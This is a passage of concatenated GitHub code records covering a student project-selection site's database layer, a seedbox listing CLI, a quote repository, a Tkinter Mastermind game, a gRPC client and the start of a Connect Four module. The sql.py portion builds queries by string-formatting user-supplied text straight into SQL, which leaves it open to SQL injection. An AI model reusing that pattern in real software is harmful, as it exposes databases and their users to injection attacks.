op = (\"UPDATE users SET grouped='n', group_id=0 WHERE id=%d\" % self.uid)\n self.dataUpdate(op)\n count = self.dataQuery((\"SELECT count(id) FROM users WHERE group_id=%d\" % self.group_id))[0][\n 'count(id)']\n if count == 0:\n groupDB(self.group_id).delete()\n self.group_id = 0\n\n # def leaderQuit(self):\n # gid = self.query()['group_id']\n # grp = groupDB(int(gid)).members()\n # for mem in grp:\n # if mem:\n # userDB(int(mem)).quitGroup()\n # op = (\"DELETE FROM groups WHERE id=%d\" % gid)\n # self.dataUpdate(op)\n # op = (\"UPDATE users SET grouped='n', group_id=0 WHERE id=%d\" % self.uid)\n # self.dataUpdate(op)\n # wish = self.query()['registed'].split(',')\n # for i in range(3):\n # if wish[i] != 'n':\n # projectDB(wish[i]).changeChosen(i + 1, -1)\n # self.group_id = 0\n\n def createGroup(self):\n new_group = groupDB()\n new_group.newGroup(self)\n self.group_id = new_group.id\n self.dataUpdate((\"UPDATE users SET grouped='l', group_id=%d WHERE id=%d\" % (self.group_id, self.uid)))\n # qry = self.query()\n # wish = qry['registed'].split(',')\n # for i in range(3):\n # if wish[i] != 'n':\n # projectDB(wish[i]).changeChosen(i + 1, 1)\n\n\nclass groupDB(dbFunction):\n def __init__(self, id=0):\n dbFunction.__init__(self)\n if id == 0:\n max = self.dataQuery((\"SELECT MAX(id) FROM groups\"))[0]['MAX(id)']\n if max:\n self.id = max + 1\n else:\n self.id = 1\n else:\n self.id = int(id)\n\n def allGroups(self):\n return self.dataQuery((\"SELECT * FROM groups\"))\n\n def all_users(self):\n res = [self.dataQuery((\"SELECT leader_id FROM groups WHERE id=%d\" % self.id))[0]['leader_id']]\n for i in self.dataQuery((\"SELECT user_id FROM groups WHERE id=%d\" % self.id))[0]['user_id'].split(','):\n res.append(i)\n return res\n\n def members(self):\n qry = self.dataQuery((\"SELECT user_id FROM groups WHERE id=%d\" % self.id))[0]['user_id']\n res = qry.split(',')\n return res\n\n def leader(self):\n return self.dataQuery((\"SELECT leader_id FROM groups WHERE id=%d\" % self.id))[0]['leader_id']\n\n def leaderName(self):\n return self.dataQuery((\"SELECT leader FROM groups WHERE id=%d\" % self.id))[0]['leader']\n\n def memberName(self):\n return self.dataQuery((\"SELECT users FROM groups WHERE id=%d\" % self.id))[0]['users']\n\n def newGroup(self, user):\n max = self.dataQuery((\"SELECT MAX(id) FROM groups\"))[0]['MAX(id)']\n if max:\n self.id = max + 1\n else:\n self.id = 1\n op = (\"INSERT INTO groups VALUES (%d, '%s', '', %d, '', '0')\" % (self.id, user.u_name, user.uid))\n self.dataUpdate(op)\n\n def deleteMember(self, uid):\n op = (\"UPDATE groups SET users\")\n self.dataUpdate(op)\n\n def delete(self):\n op = (\"DELETE FROM groups WHERE id=%d\" % self.id)\n self.dataUpdate(op)\n\n\nclass projectDB(dbFunction):\n def __init__(self, id=0):\n dbFunction.__init__(self)\n if id == 0:\n max = self.dataQuery((\"SELECT MAX(id) FROM projects\"))[0]['MAX(id)']\n if max:\n self.id = max + 1\n else:\n self.id = 1\n else:\n self.id = int(id)\n\n def users(self):\n return self.dataQuery((\"SELECT u_name FROM users WHERE pid=%d\" % self.id))\n\n def getFiles(self):\n return self.dataQuery((\"SELECT * FROM files WHERE pid=%d\" % self.id))\n\n def allProjects(self):\n return self.dataQuery((\"SELECT * FROM projects\"))\n\n def view(self):\n viewed = int(self.query()['views']) + 1\n op = (\"UPDATE projects SET views=%d WHERE id=%d\" % (viewed, self.id))\n self.dataUpdate(op)\n\n def query(self):\n data = self.dataQuery((\"SELECT * FROM projects WHERE id = %d\" % self.id))\n return data and data[0] or None\n\n def newWish(self, userid, seq):\n qry = (\"SELECT wish%d FROM projects WHERE id = %d\" % (seq, self.id))\n res = self.dataQuery(qry)[0]['wish%d' % seq]\n if res:\n res += ','\n res = res + str(userid)\n else:\n res = str(userid)\n op = (\"UPDATE projects SET wish%d='%s' where id=%d\" % (seq, res, self.id))\n self.dataUpdate(op)\n if userDB(int(userid)).isLeader():\n self.changeChosen(int(seq), 1)\n\n def newProject(self, title, detail, img, sponsor='', instructor='', major='', files='[]'):\n op = (\n \"INSERT INTO projects VALUES (%d, '%s', '%s', '%s', '%s', '', '', '', 0, 0, 0, 0, 0, '%s', '%s', 'n')\" % (\n self.id, title, img, sponsor, detail, major, instructor))\n self.dataUpdate(op)\n return self.id\n\n def deleteProject(self):\n qry = self.query()\n for i in range(1, 4):\n users = qry['wish' + str(i)]\n users = users.split(',')\n for user in users:\n if user == '':\n break\n db = userDB(user)\n if db.groupStat() != 'y':\n continue\n if not db.validUser():\n db = userDB(groupDB(user).leader())\n registed = db.query()['registed'].split(',')\n registed[i - 1] = 'n'\n db.register(','.join(registed))\n op = (\"DELETE FROM projects WHERE id=%d\" % self.id)\n self.dataUpdate(op)\n\n def changeChosen(self, seq, change):\n qry = self.query()\n chosen = int(qry['chosen_num%d' % seq])\n op = (\"UPDATE projects SET chosen_num%d=%d WHERE id=%d\" % (seq, chosen + int(change), self.id))\n self.dataUpdate(op)\n\n def editProject(self, title, detail, img, sponsor, instructor, major, files='[]'):\n if img:\n op = (\n \"UPDATE projects SET title='%s', detail='%s', img='%s', sponsor='%s', instructor='%s', major='%s' WHERE id=%d\" % (\n title, detail, img, sponsor, instructor, major, self.id))\n else:\n op = (\n \"UPDATE projects SET title='%s', detail='%s', sponsor='%s', instructor='%s', major='%s' WHERE id=%d\" % (\n title, detail, sponsor, instructor, major, self.id))\n self.dataUpdate(op)\n\n def assigned(self, status='y'):\n op = (\"UPDATE projects SET assigned='%s' WHERE id=%d\" % (status, self.id))\n self.dataUpdate(op)\n\n def selectNum(self):\n data = []\n for i in range(3):\n num = self.dataQuery((\"SELECT count(id) FROM users WHERE wish%d = %d\" % (i, self.id)))[0]['count(id)']\n group_num = \\\n self.dataQuery((\"SELECT count(id) FROM users WHERE wish%d = %d AND grouped = 'l'\" % (i, self.id)))[0][\n 'count(id)']\n data.append([num, group_num])\n return data\n\n def assignedUser(self):\n return self.dataQuery((\"SELECT * FROM users WHERE pid='%d'\" % self.id))\n\n\nclass fileDB(dbFunction):\n def __init__(self, id=0):\n dbFunction.__init__(self)\n if id == 0:\n max = self.dataQuery((\"SELECT MAX(id) FROM files\"))[0]['MAX(id)']\n if max:\n self.id = max + 1\n else:\n self.id = 1\n else:\n self.id = int(id)\n\n def query(self):\n return self.dataQuery(\n (\"SELECT * FROM files WHERE id = %d\" % self.id))[0]\n\n def newFile(self, pid, name, sha1, size, thumbnail=0):\n op = (\"INSERT INTO files VALUES ('%d', '%d', '%s', '%s', '%d', '%d')\" %\n (self.id, int(pid), name, sha1, int(size), thumbnail))\n self.dataUpdate(op)\n\n def deleteFile(self, sha1):\n print(sha1)\n op = (\"DELETE FROM files WHERE sha1 = '%s'\" % sha1)\n self.dataUpdate(op)\n","repo_name":"SJTU-UMJI-Tech/Graduation_project_selection_site","sub_path":"sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":13525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32377072229","text":"import os\n\nimport click\n\nfrom .models import SeedBox\nfrom .utils import convert_time, is_dir\n\nPAGER_LIMIT = 12\n\n\ndef _latest_files(dir, count=10, all_files=False):\n \"\"\"Simple function that lists the latest items from \"\"\"\n output = []\n with SeedBox() as s:\n try:\n s.chdir(os.path.join('downloads', dir))\n files = sorted(s.listdir_attr(), key=lambda x:x.st_mtime, reverse=True)\n except:\n click.secho(\"Invalid directory.\", fg=\"red\")\n return\n\n for file in files:\n filename = file.filename.encode('ascii', errors='replace')\n msg = \"{} {}\".format(\n convert_time(file.st_mtime),\n click.format_filename(filename)\n )\n if is_dir(file):\n output.append(click.style(msg, fg='blue'))\n else:\n output.append(click.style(msg, fg='white'))\n\n if not all_files:\n output = output[:count]\n\n if len(output) <= PAGER_LIMIT:\n echo_func = click.echo\n else:\n echo_func = click.echo_via_pager\n\n output = '\\n'.join(output)\n echo_func(output)\n return\n\n\n@click.group()\ndef cli():\n pass\n\n\n@cli.command()\n@click.option('--count', '-c', default=10, help='Number of files in movies to display.')\n@click.option('--all-files', '-a', is_flag=True, help='Display all files.')\ndef movies(count, all_files):\n \"\"\"lists the latest movies from the SeedBox.\"\"\"\n _latest_files('movies', count, all_files)\n\n\n@cli.command()\n@click.option('--count', '-c', default=10, help='Number of files in tvshows to display.')\n@click.option('--all-files', '-a', is_flag=True, help='Display all files.')\ndef tv(count, all_files):\n \"\"\"lists the latest tvshows from the SeedBox.\"\"\"\n _latest_files('tvshows', count, all_files)\n\n\n@cli.command()\n@click.option('--dir', '-d', default='', help='directory to list files in. default: downloads/')\n@click.option('--count', '-c', default=10, help='number of files in to display')\n@click.option('--all-files', '-a', is_flag=True, help='Display all files.')\ndef ls(dir, count, all_files):\n \"\"\"lists the latest files from /downloads/.\"\"\"\n _latest_files(dir, count, all_files)\n\n\nif __name__ == '__main__':\n cli()\n\n","repo_name":"WTFox/seedbox","sub_path":"seedbox/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22284345491","text":"from sqlalchemy import distinct\n\nfrom dags.dbo import OtcOptionQuote\nfrom terminal import Logging\n\nlogging = Logging.getLogger(__name__)\n\n\nclass OTCOptionQuoteRepo:\n\n @staticmethod\n def get_instrument_ids_by_observe_date(db_session, observed_date):\n \"\"\"\n 获取所有instrument_id\n :param observed_date:\n :param db_session:\n :return:\n \"\"\"\n logging.info('开始从otc_option_quote表获取日期为: %s的标的id' % observed_date)\n instruments = db_session.\\\n query(distinct(OtcOptionQuote.underlier)).\\\n filter(OtcOptionQuote.observeDate == observed_date).\\\n all()\n if len(instruments) == 0 or instruments is None:\n logging.info('从otc_option_quote表没有获取到日期为: %s的数据' % observed_date)\n return []\n\n instrument_ids = [instrument[0] for instrument in instruments]\n logging.info('observed_date为: %s时,在otc_option_quote表中加载到的标的长度为: %d' %\n (observed_date, len(instrument_ids)))\n\n return instrument_ids\n\n @staticmethod\n def get_quotes_by_observed_date_and_instrument_id(db_session, observed_date, instrument_id):\n \"\"\"\n 获取单个标的的数据\n :param db_session:\n :param observed_date:\n :param instrument_id:\n :return:\n \"\"\"\n logging.info('开始从otc_option_quote表获取日期为: %s,标的为: %s的数据' % (observed_date, instrument_id))\n quotes = db_session.query(OtcOptionQuote).filter(\n OtcOptionQuote.underlier == instrument_id, OtcOptionQuote.observeDate == observed_date).all()\n\n if len(quotes) == 0 or quotes is None:\n logging.info('从otc_option_quote表没有获取到日期为: %s,标的为: %s的数据' % (observed_date, instrument_id))\n return []\n\n logging.info('observed_date为: %s时,在otc_option_quote表中加载到的标的为: %s' %\n (observed_date, instrument_id))\n\n return quotes\n","repo_name":"zhanrendong/jkzx1","sub_path":"scripts/airflow/dags/dao/otc_option_quote_repo.py","file_name":"otc_option_quote_repo.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72288210668","text":"import customtkinter\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nimport random\r\nimport os\r\nimport time\r\nfrom tkinter import font\r\n\r\n# Modes: system (default), light, dark\r\ncustomtkinter.set_appearance_mode(\"System\")\r\n# Themes: blue (default), dark-blue, green\r\ncustomtkinter.set_default_color_theme(\"dark-blue\")\r\n\r\napp = customtkinter.CTk() # create CTk window like you do with the Tk window\r\napp.geometry(\"400x240\")\r\napp.title(\"Mastermind\")\r\napp.iconbitmap(\"icono.ico\")\r\napp.resizable(False,False)\r\n\r\n\r\n\r\n\r\npatronDebug = '''\r\n██████╗ ███████╗██████╗ ██╗ ██╗ ██████╗ ███╗ ███╗ ██████╗ ██████╗ ███████╗ ██████╗ ███╗ ██╗\r\n██╔══██╗██╔════╝██╔══██╗██║ ██║██╔════╝ ████╗ ████║██╔═══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║\r\n██║ ██║█████╗ ██████╔╝██║ ██║██║ ███╗██╔████╔██║██║ ██║██║ ██║█████╗ ██║ ██║██╔██╗ ██║\r\n██║ ██║██╔══╝ ██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║██║ ██║██║ ██║██╔══╝ ██║ ██║██║╚██╗██║\r\n██████╔╝███████╗██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗ ╚██████╔╝██║ ╚████║\r\n╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ \r\n'''\r\nglobal debugMode\r\ndebugMode = False\r\nglobal nombre\r\n\r\n\r\n\r\nglobal numeroAdivinar\r\nnumeroAdivinar = 0\r\n\r\n\r\nglobal intentos\r\nintentos = 0 # Variable global\r\nnumerosIngresados = []\r\n\r\n\r\nclass Temporizador:\r\n def __init__(self):\r\n self.inicio = None\r\n self.tiempo_transcurrido = 0\r\n self.en_ejecucion = False\r\n\r\n def iniciar(self):\r\n if not self.en_ejecucion:\r\n self.inicio = time.time() - self.tiempo_transcurrido\r\n self.en_ejecucion = True\r\n if debugMode:\r\n print(\"Temporizador iniciado.\")\r\n\r\n def detener(self):\r\n if self.en_ejecucion:\r\n self.tiempo_transcurrido = time.time() - self.inicio\r\n self.en_ejecucion = False\r\n if debugMode:\r\n print(\"Temporizador detenido.\")\r\n\r\n\r\n def reiniciar(self):\r\n self.tiempo_transcurrido = 0\r\n self.iniciar()\r\n\r\n def obtener_tiempo_transcurrido(self):\r\n if self.en_ejecucion:\r\n return self.tiempo_transcurrido + (time.time() - self.inicio)\r\n else:\r\n return self.tiempo_transcurrido\r\n\r\n\r\ndef introducirNombre():\r\n global debugMode\r\n dialog = customtkinter.CTkInputDialog(text=\"Escribe tú nombre:\", title=\"Nombre Jugador\")\r\n global nombre\r\n nombre = dialog.get_input()\r\n if(nombre == \"debugger\"):\r\n debugMode=True\r\n print(patronDebug)\r\n print(f\"El número es: {numeroAdivinar}\")\r\n if nombre==\"\":\r\n messagebox.showinfo(\r\n message=\"Tienes que introducir algun nombre.\", title=\"Error\")\r\n menu()\r\n return False\r\n if nombre == None:\r\n menu()\r\n return False\r\n return True\r\n\r\ndef volver():\r\n respuesta = messagebox.askquestion(\r\n message=f\"¿Deseas volver al menú?\", title=\"Volver Menú\")\r\n if respuesta == \"yes\":\r\n global intentos\r\n intentos = 0\r\n global numerosIngresados\r\n numerosIngresados.clear()\r\n temporizador.detener()\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n temporizador.detener()\r\n \r\n\r\n\r\ndef guardarPartida():\r\n if nombre == \"debugger\":\r\n messagebox.showinfo(\r\n message=\"Número acertado en modo debugger, no se guardara en el ranking\", title=\"Debugger\")\r\n return\r\n temporizador.detener()\r\n \r\n respuesta = messagebox.askquestion(\r\n message=f\"Adivinaste en {intentos} intentos!!\\n ¿Deseas guardar la partida?\", title=\"Adivinaste\")\r\n if respuesta == \"yes\":\r\n if debugMode:\r\n print(\"Partida guardada.\")\r\n # Nombre del archivo de texto\r\n archivo = \"ranking.txt\"\r\n # Comprobar si el archivo ya existe\r\n if not os.path.exists(archivo):\r\n # Si no existe, crear el archivo y escribir un número entero y una marca de tiempo\r\n with open(archivo, \"w\") as f:\r\n nomb = nombre\r\n numero = intentos\r\n tiempoPartida = round(\r\n temporizador.obtener_tiempo_transcurrido(), 2)\r\n f.write(f\"{nombre}*{numero}*{tiempoPartida}\\n\")\r\n\r\n else:\r\n with open(archivo, \"a\") as f:\r\n nomb = nombre\r\n numero = intentos\r\n tiempoPartida = round(\r\n temporizador.obtener_tiempo_transcurrido(), 2)\r\n f.write(f\"{nombre}*{numero}*{tiempoPartida}\\n\")\r\n temporizador.reiniciar()\r\n\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n elif respuesta == \"no\":\r\n if debugMode:\r\n print(\"Partida no guardada\")\r\n temporizador.detener()\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n return\r\n\r\n\r\n\r\ndef ocultar_widgets(ventana):\r\n for widget in ventana.winfo_children():\r\n widget.place_forget()\r\n\r\ndef calcular_muertos_heridos(numero, numero_a_adivinar):\r\n muertos = 0\r\n heridos = 0\r\n for a, b in zip(numero, numero_a_adivinar):\r\n if a == b:\r\n muertos += 1\r\n elif a in numero_a_adivinar:\r\n heridos += 1\r\n return muertos, heridos\r\n\r\ntemporizador = Temporizador()\r\n\r\ndef tiene_digitos_repetidos(numero):\r\n digitos = str(numero)\r\n for i in range(len(digitos)):\r\n for j in range(i + 1, len(digitos)):\r\n if digitos[i] == digitos[j]:\r\n return True\r\n return False\r\n\r\n\r\n\r\nlistaNumeros = []\r\nindiceHistorial = 0\r\ndef historialNumeros(event=None):\r\n global listaNumeros\r\n listaNumeros = []\r\n global indiceHistorial\r\n indiceHistorial = -1 # Inicializar el índice del historial\r\n\r\n\r\ndef menu():\r\n global intentos\r\n intentos = 0\r\n global numerosIngresados\r\n numerosIngresados.clear()\r\n temporizador.detener()\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n temporizador.detener()\r\n\r\ndef comprobarNum(event=None):\r\n global listaNumeros\r\n global intentos # Declarar intentos como global\r\n numero = entryNumero.get()\r\n global numerosIngresados\r\n\r\n if tiene_digitos_repetidos(numero):\r\n messagebox.showinfo(\r\n message=\"El número tiene algún dígito repetido\", title=\"Error\")\r\n entryNumero.delete(0, 'end')\r\n return\r\n\r\n if str(numero) == str(numeroAdivinar):\r\n if nombre == None:\r\n respuesta = messagebox.showinfo(message=f\"Adivinaste en {intentos} intentos!!\", title=\"Adivinaste\")\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n return\r\n guardarPartida()\r\n\r\n if intentos >= 14:\r\n if nombre == None:\r\n respuesta = messagebox.showinfo(message=f\"Llegaste al número máximo de intentos\", title=\"Fin\")\r\n ocultar_widgets(app)\r\n app.geometry(\"400x240\")\r\n btnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\n btnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\n btnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n return\r\n messagebox.showinfo(\r\n message=\"Llegaste al número máximo de intentos\", title=\"Fin\")\r\n guardarPartida()\r\n\r\n # Validar que el número tenga 4 dígitos y sea numérico\r\n if len(numero) != 4:\r\n messagebox.showinfo(\r\n message=\"El número debe tener 4 dígitos.\", title=\"Error\")\r\n entryNumero.delete(0, 'end')\r\n return\r\n \r\n if not numero.isdigit():\r\n messagebox.showinfo(\r\n message=\"El número debe ser numérico.\", title=\"Error\")\r\n entryNumero.delete(0, 'end')\r\n return\r\n\r\n\r\n # Validar que el número no esté repetido\r\n if numero in numerosIngresados:\r\n messagebox.showinfo(\r\n message=\"El número ya ha sido ingresado\", title=\"Error\")\r\n entryNumero.delete(0, 'end')\r\n return\r\n intentos = intentos + 1\r\n muertos, heridos = calcular_muertos_heridos(numero, numeroAdivinar)\r\n numerosIngresados.append(numero)\r\n tabla.insert('', 'end', iid=intentos, values=(\r\n intentos, numero, muertos, heridos))\r\n listaNumeros.append(numero)\r\n entryNumero.delete(0, 'end')\r\n\r\n\r\ndef moverHistorial(event):\r\n global indiceHistorial\r\n if listaNumeros:\r\n if event.keysym == 'Up':\r\n indiceHistorial = (indiceHistorial + 1) % len(listaNumeros)\r\n elif event.keysym == 'Down':\r\n indiceHistorial = (indiceHistorial + 1) % len(listaNumeros)\r\n entryNumero.delete(0, 'end')\r\n entryNumero.insert(0, listaNumeros[indiceHistorial])\r\n\r\n \r\n\r\nif debugMode:\r\n print(patronDebug)\r\nglobal entryNumero\r\ndef jugar(): \r\n if introducirNombre():\r\n global listaNumeros\r\n listaNumeros.clear()\r\n global numeroAdivinar\r\n \r\n # Generar un número aleatorio de 4 dígitos con ceros al principio\r\n digitos_disponibles = list(range(10))\r\n # Baraja la lista para que los dígitos estén en un orden aleatorio\r\n random.shuffle(digitos_disponibles)\r\n \r\n numeroAdivinar = \"\"\r\n for i in range(4):\r\n numeroAdivinar += str(digitos_disponibles[i])\r\n if debugMode:\r\n print(f\"El número es: {numeroAdivinar}\")\r\n global entryNumero\r\n entryNumero = customtkinter.CTkEntry(\r\n app, placeholder_text=\"Introduce un número\", width=300, font=ctFontBtn) \r\n \r\n for row in tabla.get_children():\r\n tabla.delete(row)\r\n global intentos\r\n intentos = 0\r\n global numerosIngresados\r\n numerosIngresados.clear()\r\n temporizador.iniciar()\r\n ocultar_widgets(app)\r\n app.geometry(\"900x640\")\r\n entryNumero.place(relx=0.5, rely=0.15, anchor=customtkinter.CENTER)\r\n entryNumero.delete(0, 'end')\r\n btnIntroducirNum.place(relx=0.5, rely=0.21, anchor=customtkinter.CENTER)\r\n titlulo.place(relx=0.5, rely=0.08, anchor=customtkinter.CENTER)\r\n tabla.pack()\r\n tabla.place(relx=0.5, rely=0.60, anchor=customtkinter.CENTER)\r\n btnVolver.place(relx=0.1, rely=0.04, anchor=customtkinter.CENTER)\r\n entryNumero.bind(\"\", comprobarNum)\r\n entryNumero.bind('', moverHistorial)\r\n entryNumero.bind('', moverHistorial)\r\n entryNumero.focus_set()\r\n entryNumero.delete(0, 'end')\r\n\r\n \r\n \r\n\r\ndef leer_ranking(nombre_archivo):\r\n ranking = []\r\n with open(nombre_archivo, 'r') as archivo:\r\n for linea in archivo:\r\n datos = linea.strip().split('*')\r\n ranking.append(datos)\r\n return ranking\r\n\r\n# Función para ordenar la lista por intentos y tiempos\r\ndef ordenar_ranking(ranking):\r\n ranking.sort(key=lambda x:(int(x[1]), float(x[2])))\r\n\r\ndef ranking():\r\n archivo_ranking = 'ranking.txt'\r\n try:\r\n open(archivo_ranking)\r\n except FileNotFoundError:\r\n messagebox.showinfo(\r\n message=\"El fichero ranking no existe, juega para crearlo\", title=\"Error\")\r\n return\r\n\r\n ocultar_widgets(app)\r\n \r\n ranking = leer_ranking(archivo_ranking)\r\n ordenar_ranking(ranking)\r\n app.geometry(\"700x400\")\r\n tabla = ttk.Treeview(app, selectmode='browse', height=12)\r\n tabla[\"columns\"] = (\"1\", \"2\", '3')\r\n tabla['show'] = 'headings'\r\n tabla.heading(\"1\", text=\"Nombre\")\r\n tabla.heading(\"2\", text=\"Intentos\")\r\n tabla.heading(\"3\", text=\"Tiempo\")\r\n for datos in ranking:\r\n tabla.insert(\"\", \"end\", values=(datos[0], datos[1], f\"{datos[2]} s\"))\r\n tabla.pack()\r\n titluloRanking.place(relx=0.5, rely=0.10, anchor=customtkinter.CENTER)\r\n tabla.place(relx=0.5, rely=0.50, anchor=customtkinter.CENTER)\r\n btnVolver.place(relx=0.1, rely=0.04, anchor=customtkinter.CENTER)\r\n\r\ndef salir():\r\n app.destroy()\r\n exit\r\n\r\nctfont = customtkinter.CTkFont(family='Helvetica', size=30)\r\nctFontBtn = customtkinter.CTkFont(family='Helvetica', size=18)\r\ntitluloRanking = customtkinter.CTkLabel(\r\n app, text=\"RANKING\", fg_color=\"transparent\", font=ctfont)\r\nbtnVolver = customtkinter.CTkButton(\r\n master=app, text=\"Volver\", command=volver, fg_color=\"red\", hover_color=\"red4\")\r\nbtnJugar = customtkinter.CTkButton(\r\n master=app, text=\"Jugar\", command=jugar, font=ctFontBtn, fg_color=\"Green4\", hover_color=\"Green\")\r\nbtnRanking = customtkinter.CTkButton(\r\n master=app, text=\"Ranking\", command=ranking, font=ctFontBtn)\r\nbtnExit = customtkinter.CTkButton(\r\n master=app, text=\"Salir\", command=salir, font=ctFontBtn, fg_color=\"red\", hover_color=\"red4\")\r\n\r\ntitlulo = customtkinter.CTkLabel(\r\n app, text=\"MUERTOS Y HERIDOS\", fg_color=\"transparent\", font=ctfont)\r\nbtnIntroducirNum = customtkinter.CTkButton(\r\n master=app, text=\"Comprobar\", command=comprobarNum, font=ctFontBtn)\r\n\r\nstyle = ttk.Style()\r\ntabla = ttk.Treeview(app, selectmode='browse', height=20)\r\ntabla[\"columns\"] = (\"1\", \"2\", \"3\", \"4\")\r\ntabla['show'] = 'headings'\r\ntabla.heading('1', text='Intento')\r\ntabla.heading('2', text='Número')\r\ntabla.heading('3', text='Muertos')\r\ntabla.heading('4', text='Heridos')\r\n\r\nbtnJugar.place(relx=0.5, rely=0.25, anchor=customtkinter.CENTER)\r\nbtnRanking.place(relx=0.5, rely=0.5, anchor=customtkinter.CENTER)\r\nbtnExit.place(relx=0.5, rely=0.75, anchor=customtkinter.CENTER)\r\n\r\napp.mainloop()","repo_name":"Cristiancastt/Muertos-y-Heridos-Python-Gui","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15667,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36514647306","text":"'''\n################################## client.py #############################\n# \n################################## client.py #############################\n'''\nimport grpc\nimport datastore_pb2\nimport argparse\n\nPORT = 3000\n\nclass DatastoreClient():\n \n def __init__(self, host='0.0.0.0', port=PORT):\n self.channel = grpc.insecure_channel('%s:%d' % (host, port))\n self.stub = datastore_pb2.DatastoreStub(self.channel)\n\n def put(self, value):\n return self.stub.put(datastore_pb2.Request(data=value))\n\n def delete(self, key):\n return self.stub.delete(datastore_pb2.Request(data=key))\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"host\", help=\"display a square of a given number\")\n args = parser.parse_args()\n print(\"Client is connecting to Server at {}:{}...\".format(args.host, PORT))\n client = DatastoreClient(host=args.host)\n \n # put something in \n value = 'trung'\n print(\"## PUT Request: value = \" + value) \n resp = client.put(value)\n \n # delete something\n value = resp.data\n print(\"## DELETE Request: value = \" + value) \n resp = client.delete(value)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"randomstyle/Distributed_System","sub_path":"Operation_Sync/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15812716659","text":"if __name__ == \"__main__\":\n raise Exception(\"This file is not to be run by the user\")\n\nimport pygame\nfrom constants import *\nfrom functools import partial\nfrom time import sleep\n\n# Make margin by adding two invisible columns on each side\nradius = SCREEN_WIDTH // (((COLUMNS+2) * (1 + MARGIN_RATIO))*2)\n\n\ndef draw_circle(screen, row, column, color):\n x = (column+1) * (radius * 2 * (1+MARGIN_RATIO)) + \\\n radius * (1 + MARGIN_RATIO)\n y = (ROWS - row) * (radius * 2 * (1+MARGIN_RATIO))\n pygame.draw.circle(screen, color, (x, y), radius)\n\n\ndef valid_pos(column, row):\n return column >= 0 and column < COLUMNS and row >= 0 and row < len(board[column])\n\n\ndef check_win(column, row):\n player = board[column][row]\n # Check horizontal\n right = column\n left = column\n while (valid_pos(right, row) and board[right][row] == player):\n right += 1\n\n while (valid_pos(left, row) and board[left][row] == player):\n left -= 1\n\n if right - left - 1 >= CONNECT_TO_WIN:\n return True\n\n # Check vertical, only need to check down\n bottom = row\n while (valid_pos(column, bottom) and board[column][bottom] == player):\n bottom -= 1\n\n if row - bottom >= CONNECT_TO_WIN:\n return True\n\n # Check diagonal up right\n top_pos = (column, row)\n bottom_pos = (column, row)\n while (valid_pos(*top_pos) and board[top_pos[0]][top_pos[1]] == player):\n top_pos = (top_pos[0] + 1, top_pos[1] + 1)\n\n while (valid_pos(*bottom_pos) and board[bottom_pos[0]][bottom_pos[1]] == player):\n bottom_pos = (bottom_pos[0] - 1, bottom_pos[1] - 1)\n\n if top_pos[1] - bottom_pos[1] - 1 >= CONNECT_TO_WIN:\n return True\n\n # Check diagonal up left\n top_pos = (column, row)\n bottom_pos = (column, row)\n while (valid_pos(*top_pos) and board[top_pos[0]][top_pos[1]] == player):\n top_pos = (top_pos[0] - 1, top_pos[1] + 1)\n\n while (valid_pos(*bottom_pos) and board[bottom_pos[0]][bottom_pos[1]] == player):\n bottom_pos = (bottom_pos[0] + 1, bottom_pos[1] - 1)\n\n return top_pos[1] - bottom_pos[1] - 1 >= CONNECT_TO_WIN\n\n\ndef board_is_full():\n for column in board:\n if len(column) < ROWS:\n return False\n\n return True\n\n\n# GAME STATE:\n# Contains draw functions to be called on draw()\ndraw_queue = []\n\n# Columns first, then rows\nboard = []\n\nplayer = 1\n\n\ndef init(to_end_screen_func):\n global to_end_screen\n 